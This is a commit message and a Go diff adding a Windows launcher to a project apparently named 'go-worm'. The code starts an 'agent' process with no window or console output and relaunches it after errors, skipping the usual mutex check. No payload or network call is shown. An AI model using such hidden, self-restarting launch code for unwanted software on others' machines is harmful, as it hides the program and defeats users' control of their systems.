refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/instance/launch_windows.go

@@ -0,0 +1,58 @@
+//go:build windows
+
+package instance
+
+import (
+	"os"
+	"os/exec"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// Launch starts exe detached with no visible window or console IO.
+func Launch(exe string, args []string) error {
+	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
+	if err != nil {
+		return err
+	}
+	defer nul.Close()
+
+	cmd := exec.Command(exe, args...)
+	cmd.Stdin = nul
+	cmd.Stdout = nul
+	cmd.Stderr = nul
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
+	}
+	return cmd.Start()
+}
+
+// RestartSelf launches a fresh agent process (no mutex check).
+func RestartSelf() error {
+	exe, err := config.InstalledExe()
+	if err != nil {
+		return err
+	}
+	return Launch(exe, nil)
+}
+
+func filterArgs(args []string) []string {
+	out := make([]string, 0, len(args))
+	for _, arg := range args {
+		name := strings.TrimLeft(arg, "-/")
+		lower := strings.ToLower(name)
+		switch {
+		case lower == "background" || strings.HasPrefix(lower, "background="):
+			continue
+		case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
+			continue
+		}
+		out = append(out, arg)
+	}
+	return out
+}